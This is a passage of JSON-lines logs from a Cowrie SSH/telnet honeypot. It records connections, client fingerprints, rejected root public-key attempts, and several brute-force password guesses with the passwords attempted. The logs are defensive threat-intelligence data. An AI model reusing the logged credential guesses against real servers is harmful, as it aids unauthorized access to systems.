-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:26.658204Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:5a:81:e0:b0:1c:d0:2c:81:1b:80:4e:03:c0:8d:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpjsyGVeKy8JWtYCjFZHwzK/uKt3jU1VH2NuEPogtSFvTaXTuckeXOMiyrdp/RG1chBdJJvwAsrFRHrUUucv191n279PnSCBH7IoRJwRIB6eGYdqWJ+j+VIqCPLnZ+A4BokK/qHJSkC07w+RM+x84B7zkRRT64ubS4u1Bdlic201u4vY1kJErYHHb2NMN2tAfI2Y+6Exl4igev8UE2E08YOrfrdjT7DYBohJzgBhrZGMA7ZxpLx0uqwRtCPaK04Ca9CJdUqPxOQywoK5vZ1gI5deqUvI1/OXuKPdpW667Usodb99emPdSQqPKzkvuilQ1fCtu6BkWKP8A/k+m9B2FB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:5a:81:e0:b0:1c:d0:2c:81:1b:80:4e:03:c0:8d:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.075527Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:5a:81:e0:b0:1c:d0:2c:81:1b:80:4e:03:c0:8d:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpjsyGVeKy8JWtYCjFZHwzK/uKt3jU1VH2NuEPogtSFvTaXTuckeXOMiyrdp/RG1chBdJJvwAsrFRHrUUucv191n279PnSCBH7IoRJwRIB6eGYdqWJ+j+VIqCPLnZ+A4BokK/qHJSkC07w+RM+x84B7zkRRT64ubS4u1Bdlic201u4vY1kJErYHHb2NMN2tAfI2Y+6Exl4igev8UE2E08YOrfrdjT7DYBohJzgBhrZGMA7ZxpLx0uqwRtCPaK04Ca9CJdUqPxOQywoK5vZ1gI5deqUvI1/OXuKPdpW667Usodb99emPdSQqPKzkvuilQ1fCtu6BkWKP8A/k+m9B2FB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.079618Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:ec:50:dd:21:4e:4f:27:72:86:71:b3:5d:e6:56:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxZb7DqKMD2oXWO0/hVr9F8Kf22ZSzKu/z+9gIjUsLlQZ13GjlOBR0mynqtGFnd3752Fed9Y7Zr55iWUsPcpHaSe39XY+mSZAS1wy9Zu8n6gbWOajNCzV00BXqXqD1s1BVcg6UwM4tUD2OAry+qH0BTGemv8jazFsE/sK1GwTlWIVAmQvUOS6lmMnoHVUXN1kYEDsDDnAnYZxMzNUUolND4mtjWc4dfkaM7G1HlhRhh0I2H1wofAMrsHwZrRS3Ey+JQ1zvGEigQsgFWbmusN+kPK7Im2EC1Zq7CILzje+7SEiUUlOEAMx40lFpbAODrdYwsIdMaJGdjcDYPZBPLwsn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:ec:50:dd:21:4e:4f:27:72:86:71:b3:5d:e6:56:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.168428Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:ec:50:dd:21:4e:4f:27:72:86:71:b3:5d:e6:56:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxZb7DqKMD2oXWO0/hVr9F8Kf22ZSzKu/z+9gIjUsLlQZ13GjlOBR0mynqtGFnd3752Fed9Y7Zr55iWUsPcpHaSe39XY+mSZAS1wy9Zu8n6gbWOajNCzV00BXqXqD1s1BVcg6UwM4tUD2OAry+qH0BTGemv8jazFsE/sK1GwTlWIVAmQvUOS6lmMnoHVUXN1kYEDsDDnAnYZxMzNUUolND4mtjWc4dfkaM7G1HlhRhh0I2H1wofAMrsHwZrRS3Ey+JQ1zvGEigQsgFWbmusN+kPK7Im2EC1Zq7CILzje+7SEiUUlOEAMx40lFpbAODrdYwsIdMaJGdjcDYPZBPLwsn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.172354Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:51:58:23:82:0f:02:82:7a:57:ce:87:88:91:ff:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjb2OcMu8DFVe35qp0RHalWSiYKtsaroG8JEA5Wq4Ufl1V81rM0I6IwbcaSnwFGtk6tZgWW6REJaID1c5jCCjkRu6nbC1ErwGtqiS4+iJyGshF2zihcTekWMFP1xWKmU1z4izc95ZeQ+JWQjnJzotOSQ1Wn63O3KnpdXBS5g3uLUejwnxw3EZO25jVcZwfnZ/dkQDFXjPjK78lVEgHAOtUmJrTpGufMqFXG+stvtDO8IAQtUSfKZveQdxysaZBKg13sCpNV1RRYdYbL/b4s9i1P776B5AW/aEKpWUaFKzdroJ0/oG+Tc8BlCE70Jrlvt2lCUngeGzjofCZ2HCZQuBB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:51:58:23:82:0f:02:82:7a:57:ce:87:88:91:ff:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.260770Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:51:58:23:82:0f:02:82:7a:57:ce:87:88:91:ff:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjb2OcMu8DFVe35qp0RHalWSiYKtsaroG8JEA5Wq4Ufl1V81rM0I6IwbcaSnwFGtk6tZgWW6REJaID1c5jCCjkRu6nbC1ErwGtqiS4+iJyGshF2zihcTekWMFP1xWKmU1z4izc95ZeQ+JWQjnJzotOSQ1Wn63O3KnpdXBS5g3uLUejwnxw3EZO25jVcZwfnZ/dkQDFXjPjK78lVEgHAOtUmJrTpGufMqFXG+stvtDO8IAQtUSfKZveQdxysaZBKg13sCpNV1RRYdYbL/b4s9i1P776B5AW/aEKpWUaFKzdroJ0/oG+Tc8BlCE70Jrlvt2lCUngeGzjofCZ2HCZQuBB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.265032Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:b3:8f:e0:ff:fe:ef:78:93:d4:29:21:bc:1f:eb:01","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKNfjO2R6/jITM/Hvhs32XTcKB655VtS65+DmQWlO4SL","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7b:b3:8f:e0:ff:fe:ef:78:93:d4:29:21:bc:1f:eb:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.355261Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:b3:8f:e0:ff:fe:ef:78:93:d4:29:21:bc:1f:eb:01","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKNfjO2R6/jITM/Hvhs32XTcKB655VtS65+DmQWlO4SL","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.359295Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:8a:a9:9f:6b:05:f9:45:c7:f0:24:56:33:eb:ac:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQyCtRxFbTe2pVrj+lfreuUjYbDjXssLgSN3SkWP2JmUCWWMBiDQ7283eSr5sSsUy0oGNsNEWrx+MoM+60QfOqbUrcri2waaxhX9zNmwtlFKZrZDgu+8eY23hCdzF8rhMOPdXR32xDrK5lHfaueubLo3ZamYxCikoaC6POiUSjezF9G/SFMWj5cJX10Fon5m/smflRnSn/EcN5+9e07NsVlERC7we6kRP6G6jEJOKtDesQ6H+HGJvH7x1HyKB0T5O+2q5Ak5eUwVZaR453Qzu9/dE7OLU36H4uzOo8MvjRyUzdo1Ji3MrAB/LAF/ja+FyK8WRQ9yn/VzJ+A1yj8VRlCqkU2XIHbHtylXl7K6ElxKJz2CrEmsqxTX5Dh9HFLMM2sMeoPX6XCSehwSFBQRJpyGbnAm06ZFrQvaNDMYdVDeKLR/U3ZHjyPQqSVMI608cGHO7/0aTaXdQeqG7MX9gNulsqwN+wqlJChEB+v/2K5gES9fkByTRFqcEMnA7Z7P1vMes9zD1Z2tyBRMuzJx3Bo3nUYnBuDn07uiH/xLs+sc1QzLRlMsDRGfElOVntMtaF5yRxK8UnV6Z6Jsa58pzpr7dzRAaXBw2SZyXPEauXo3BDd2lGEg5l33i1LrFg3Mr8AzTyr2MycCgU0aKy4bIrbgRJE/g9vX7WI3L7rUc065DYbJ8zLEB6y52ClvbvUDS1LYOpOo6dbWzMM+uszOtHWGllfXGo80m3GVTYeOi0LRprXaUL1xnKp3LCuuT20wFtBHwuDCQcUJ3UEr5hSPaQ8aAVY3dYuXq1Y+WIP9AUWE84vkU7Jb7i9WOBHmyPYTIsngZStcOXuJmjDctO6aCDp9DtYeeVqJVYL6fjkHpKmCRWXWwbxeVAakjAhQmVhHMpuqg0zLth2XF1Yl7ZQxg6xyr1LXywJuaS+UBc6PPyvIpXOIJ7lX78rUi87JZhQF/gaeNB66YfJwAmFtAUhmL6+Ucw3i7dc8vToD3WCIrvY8juAiL+Ta+auxTrDDtOmNyUftcdVe1/8F8ThnhQifLW393SVo7OlUbOusMQ2Os5a5Jqa4sinRNUrv9Kw7AvtzaArBOuc6mDZFdDoHHKBnIsX7ZMAsiv9tA/DtgljN1b6RxW35PIr10eoiARJj/L/Z5W2NdtDQ10v+1eF1P1ydXbM5w+ykcOgFW0Dd6l6aIOVxqj51+ajf2m992ZvPOo5leHqp/nWtmETEb07iO37r83XnTlGjMyUw9uByIHGDGgY5lA38GSkvzA52zHQ/cewF1IfSs+85oSxrjymVMmIU8I9/VPcbHfBFOpES9eXlB6Px2R5CHg1C4R0RJcAtIlIGXpHe/yxxRHb9Lrwl71PbgrM5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:8a:a9:9f:6b:05:f9:45:c7:f0:24:56:33:eb:ac:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.447968Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:8a:a9:9f:6b:05:f9:45:c7:f0:24:56:33:eb:ac:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQyCtRxFbTe2pVrj+lfreuUjYbDjXssLgSN3SkWP2JmUCWWMBiDQ7283eSr5sSsUy0oGNsNEWrx+MoM+60QfOqbUrcri2waaxhX9zNmwtlFKZrZDgu+8eY23hCdzF8rhMOPdXR32xDrK5lHfaueubLo3ZamYxCikoaC6POiUSjezF9G/SFMWj5cJX10Fon5m/smflRnSn/EcN5+9e07NsVlERC7we6kRP6G6jEJOKtDesQ6H+HGJvH7x1HyKB0T5O+2q5Ak5eUwVZaR453Qzu9/dE7OLU36H4uzOo8MvjRyUzdo1Ji3MrAB/LAF/ja+FyK8WRQ9yn/VzJ+A1yj8VRlCqkU2XIHbHtylXl7K6ElxKJz2CrEmsqxTX5Dh9HFLMM2sMeoPX6XCSehwSFBQRJpyGbnAm06ZFrQvaNDMYdVDeKLR/U3ZHjyPQqSVMI608cGHO7/0aTaXdQeqG7MX9gNulsqwN+wqlJChEB+v/2K5gES9fkByTRFqcEMnA7Z7P1vMes9zD1Z2tyBRMuzJx3Bo3nUYnBuDn07uiH/xLs+sc1QzLRlMsDRGfElOVntMtaF5yRxK8UnV6Z6Jsa58pzpr7dzRAaXBw2SZyXPEauXo3BDd2lGEg5l33i1LrFg3Mr8AzTyr2MycCgU0aKy4bIrbgRJE/g9vX7WI3L7rUc065DYbJ8zLEB6y52ClvbvUDS1LYOpOo6dbWzMM+uszOtHWGllfXGo80m3GVTYeOi0LRprXaUL1xnKp3LCuuT20wFtBHwuDCQcUJ3UEr5hSPaQ8aAVY3dYuXq1Y+WIP9AUWE84vkU7Jb7i9WOBHmyPYTIsngZStcOXuJmjDctO6aCDp9DtYeeVqJVYL6fjkHpKmCRWXWwbxeVAakjAhQmVhHMpuqg0zLth2XF1Yl7ZQxg6xyr1LXywJuaS+UBc6PPyvIpXOIJ7lX78rUi87JZhQF/gaeNB66YfJwAmFtAUhmL6+Ucw3i7dc8vToD3WCIrvY8juAiL+Ta+auxTrDDtOmNyUftcdVe1/8F8ThnhQifLW393SVo7OlUbOusMQ2Os5a5Jqa4sinRNUrv9Kw7AvtzaArBOuc6mDZFdDoHHKBnIsX7ZMAsiv9tA/DtgljN1b6RxW35PIr10eoiARJj/L/Z5W2NdtDQ10v+1eF1P1ydXbM5w+ykcOgFW0Dd6l6aIOVxqj51+ajf2m992ZvPOo5leHqp/nWtmETEb07iO37r83XnTlGjMyUw9uByIHGDGgY5lA38GSkvzA52zHQ/cewF1IfSs+85oSxrjymVMmIU8I9/VPcbHfBFOpES9eXlB6Px2R5CHg1C4R0RJcAtIlIGXpHe/yxxRHb9Lrwl71PbgrM5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.452113Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:27.541579Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38466,"dst_ip":"10.17.0.5","dst_port":23,"session":"4072d7ba72d8","protocol":"telnet","message":"New connection: 152.42.224.71:38466 (10.17.0.5:23) [session: 4072d7ba72d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:31.296695Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38478,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb56a58e28e","protocol":"telnet","message":"New connection: 152.42.224.71:38478 (10.17.0.5:23) [session: ebb56a58e28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:32.210086Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37592,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e92dfd8cfee","protocol":"ssh","message":"New connection: 103.153.68.219:37592 (159.203.135.109:22) [session: 1e92dfd8cfee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:37.019030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:37.024402Z","src_ip":"103.153.68.219","session":"1e92dfd8cfee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:37.271926Z","src_ip":"103.153.68.219","session":"1e92dfd8cfee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc4rfv","message":"login attempt [root/1qaz2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:38.017990Z","src_ip":"103.153.68.219","session":"1e92dfd8cfee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34110,"dst_ip":"10.17.0.5","dst_port":22,"session":"485a248d8059","protocol":"ssh","message":"New connection: 89.223.69.22:34110 (10.17.0.5:22) [session: 485a248d8059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:38.624314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:38.628910Z","src_ip":"89.223.69.22","session":"485a248d8059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:38.745118Z","src_ip":"89.223.69.22","session":"485a248d8059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mnbvcxz","message":"login attempt [root/mnbvcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:39.093129Z","src_ip":"89.223.69.22","session":"485a248d8059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51190,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0df8d39aaf2","protocol":"telnet","message":"New connection: 152.42.224.71:51190 (10.17.0.5:23) [session: c0df8d39aaf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:39.201675Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:39.267252Z","src_ip":"103.153.68.219","session":"1e92dfd8cfee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:40.210520Z","src_ip":"89.223.69.22","session":"485a248d8059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":45348,"dst_ip":"10.17.0.5","dst_port":22,"session":"79656bad8f43","protocol":"ssh","message":"New connection: 43.245.98.60:45348 (10.17.0.5:22) [session: 79656bad8f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:40.433398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:40.441056Z","src_ip":"43.245.98.60","session":"79656bad8f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:40.679270Z","src_ip":"43.245.98.60","session":"79656bad8f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51202,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ef4210ba75e","protocol":"telnet","message":"New connection: 152.42.224.71:51202 (10.17.0.5:23) [session: 4ef4210ba75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:40.970140Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"minolta","message":"login attempt [root/minolta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:41.658258Z","src_ip":"43.245.98.60","session":"79656bad8f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":56922,"dst_ip":"159.203.135.109","dst_port":22,"session":"90c42e11ee1b","protocol":"ssh","message":"New connection: 191.96.110.121:56922 (159.203.135.109:22) [session: 90c42e11ee1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:42.281048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:42.291731Z","src_ip":"191.96.110.121","session":"90c42e11ee1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["s